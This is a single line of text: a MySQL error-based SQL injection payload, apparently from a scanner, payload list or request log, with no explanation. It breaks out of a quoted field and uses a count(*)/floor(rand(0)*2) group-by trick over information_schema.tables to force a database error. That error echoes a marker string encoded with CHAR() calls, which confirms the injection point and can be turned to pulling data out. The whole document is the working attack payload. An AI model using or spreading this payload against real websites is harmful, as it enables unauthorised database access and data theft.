'and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(88),CHAR(110),CHAR(73),CHAR(80),CHAR(100),CHAR(79),CHAR(51),CHAR(68)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'